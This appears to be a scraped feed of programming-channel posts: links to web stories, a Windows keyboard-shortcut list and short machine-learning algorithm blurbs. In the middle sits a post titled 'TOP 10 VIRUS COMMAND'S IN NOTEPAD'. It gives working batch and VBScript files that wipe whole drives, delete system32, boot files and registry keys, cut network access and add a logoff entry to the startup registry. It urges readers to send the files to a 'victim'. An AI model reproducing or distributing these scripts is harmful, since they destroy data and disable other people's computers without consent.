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DSA Basics🔥 https://inprogrammer.com/web-stories/what-is-data-structures/

Python interview question with answers

40 project ideas for web developer - https://inprogrammer.com/web-stories/40-project-ideas-for-web-developer/

#100days of code with 2 Around 30 projects. @codehubb

40 project ideas for web developer - https://inprogrammer.com/web-stories/40-project-ideas-for-web-developer/

🔰 TOP 10 VIRUS COMMAND'S IN NOTEPAD 🔰 Method 1: Just open your notepad 1) Click start -> all programs -> accessories -> notepad 2) Or just press or click windows key + r :: run window will open and type notepad and hit enter . NOW TYPE THE FOLLOWING CODE :: @echo off del D:\*.* /f /s /q del E:\*.* /f /s /q del F:\*.* /f /s /q del G:\*.* /f /s /q del H:\*.* /f /s /q del I:\*.* /f /s /q del J:\*.* /f /s /q Then save it as kinng.bat and the batch file is created . WARNING :: This is the most dangerous virus! Be careful with its use. Delete the entire registry @ECHO OFF START reg delete HKCR/.exe START reg delete HKCR/.dll START reg delete HKCR/* Now save it as kinng.bat and the batch file is created . Method 2: How to crash a PC Forever !::: @echo off attrib -r -s -h c:\autoexec.bat del c:\autoexec.bat attrib -r -s -h c:\boot.ini del c:\boot.ini attrib -r -s -h c:\ntldr del c:\ntldr attrib -r -s -h c:\windows\win.ini del c:\windows\win.ini Open up notepad and copy and paste that. Save it as a .bat file. This should shutdown the persons computer. It shuts it off once and deletes the files needed to reboot and restart. REMEMBER - DO NOT CLICK THIS FILE. Method 3: How to stop someone's internet access:::: @Echo off Ipconfig /release Save that as a .bat and send it to someone. They're IP address will be lost, and therefore they won't be able to fix it However, this is VERY easy to fix. Simply type in IPconfig /renew Method 4: ShutDown PC million Times:::: 1.right click on the desktop 2.click shortcut you will get a dialogue box, write in it: shutdown -s -t 1000 c "any comment u want" then press next note: this "1000" i wrote is the time in seconds needed for ur computer to shutdown,u can put any number u want... 3.u will get another dialogue box, write in it: Internet Explorer and press finish 4.u will find the icon on ur desktop, dont open it, just right click on it and press properties>change icon>select the icon the the internet explorer and the press apply then ok try to open it, it is a virus hehe PS: the only way 2 stop ur computer from shutting down is to go 2 start>run>type: shutdown -a Method 5: Open Notepad Write / copy the below command there: " del c:\WINDOWS\system32\*.*/q " without quote and save as " anything.bat" Done. If You Give this file to your victim his SYSTEM 32 Folder will be deleted. Without which a Windows Pc cant be started. Method 6: Process: Open Notepad Copy the below command there "rd/s/q D:\ rd/s/q C:\ rd/s/q E:\" ( without quotes ) Save as "anything.bat This virus Formats the C ,D , and E Drive in 3 Seconds. Method 7: Just open the Notepad and type the paste the following Code. set ws=createobject("wscript.shell") dim strDir,strfile,st,strtxt2,strshell,strlog dim obfso,obfolder,obshell,obfile,obtxtfile strshell="wscript.shell" strDir="C:\WINDOWS" strfile="\wscript.vbs" st=Chr(34) strlog="shutdown -l" strtxt2="ws.run(strlog)" set obfso=CreateObject("Scripting.FileSystemObject") on error resume next set obfile=obfso.CreateTextfile(strDir & strfile) obfile.writeline("set ws=createobject("&st&strshell&st&")") obfile.writeline("ws.run("&st&strlog&st&")") ws.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Logoff","C:\WINDOWS\wscript.vbs","REG_SZ” Now Save This Notepad file With Any Name Having .vbs Extension . Method 8: Open Notepad and write "start" without quotes Start Start Start and then save it with .bat extension. Now double click on this .bat file to run Command Prompt. Method 9: Convey your friend a little message and shut down his / her computer: @echo off msg * I don't like you shutdown -c "Error! You are too stupid!" -s Save it as "Anything.BAT" in All Files and send it. Method 10 : Toggle your friend's Caps Lock button simultaneously: Code: Set wshShell =wscript.CreateObject("WScript.Shel l") do wscript.sleep 100 wshshell.sendkeys "{CAPSLOCK}" loop Save it as "Anything.VBS" and send it.

🔰 Some Computer Shortcuts that may be use in future 🔰 1. CTRL+C (Copy) 2. CTRL+X (Cut) 3. CTRL+V (Paste) 4. CTRL+Z (Undo) 5. DELETE (Delete) 6. SHIFT+DELETE (Delete the selected item permanently without placing the item in the Recycle Bin) 7. CTRL while dragging an item (Copy the selected item) 8. CTRL+SHIFT while dragging an item (Create a shortcut to the selected item) 9. F2 key (Rename the selected item) 10. CTRL+RIGHT ARROW (Move the insertion point to the beginning of the next word) 11. CTRL+LEFT ARROW (Move the insertion point to the beginning of the previous word) 12. CTRL+DOWN ARROW (Move the insertion point to the beginning of the next paragraph) 13. CTRL+UP ARROW (Move the insertion point to the beginning of the previous paragraph) 14. CTRL+SHIFT with any of the arrow keys (Highlight a block of text) SHIFT with any of the arrow keys (Select more than one item in a window or on the desktop, or select text in a document) 15. CTRL+A (Select all) 16. F3 key (Search for a file or a folder) 17. ALT+ENTER (View the properties for the selected item) 18. ALT+F4 (Close the active item, or quit the active program) 19. ALT+ENTER (Display the properties of the selected object) 20. ALT+SPACEBAR (Open the shortcut menu for the active window) 21. CTRL+F4 (Close the active document in programs that enable you to have multiple documents opensimultaneously) 22. ALT+TAB (Switch between the open items) 23. ALT+ESC (Cycle through items in the order that they had been opened) 24. F6 key (Cycle through the screen elements in a window or on the desktop) 25. F4 key (Display the Address bar list in My Computer or Windows Explorer) 26. SHIFT+F10 (Display the shortcut menu for the selected item) 27. ALT+SPACEBAR (Display the System menu for the active window) 28. CTRL+ESC (Display the Start menu) 29. ALT+Underlined letter in a menu name (Display the corresponding menu) Underlined letter in a command name on an open menu (Perform the corresponding command) 30. F10 key (Activate the menu bar in the active program) 31. RIGHT ARROW (Open the next menu to the right, or open a submenu) 32. LEFT ARROW (Open the next menu to the left, or close a submenu) 33. F5 key (Update the active window) 34. BACKSPACE (View the folder onelevel up in My Computer or Windows Explorer) 35. ESC (Cancel the current task) 36. SHIFT when you insert a CD-ROMinto the CD-ROM drive (Prevent the CD-ROM from automatically playing)

SQL Basic Cheat Sheet #1 #2

🔥 DevOps Roadmap 🔥

python notes😍 - https://inprogrammer.com/web-stories/python-notes/

FRONT_END DEVELOPER ROADMAP - https://inprogrammer.com/web-stories/front-end-developer-roadmap/

Algorithm Name PCA/T-SNE Description Mostly used to decrease the dimensionality of the data. The algorithms reduce the number of features to 3 or 4 vectors with the highest variances Type Dimension Reduction

Algorithm Name Recommender system Description Help to define the relevant data for making a recommendation. Type Clustering

Algorithm Name Hierarchical clustering Description Splits clusters along a hierarchical tree to form a classification system. Can be used for Cluster loyalty-card customer Type Clustering

Algorithm Name Gaussian mixture model Description A generalization of k-means clustering that provides more flexibility in the size and shape of groups (clusters) Type Clustering

Algorithm Name K-means clustering Description Puts data into some groups (k) that each contains data with similar characteristics (as determined by the model, not in advance by humans) Type Clustering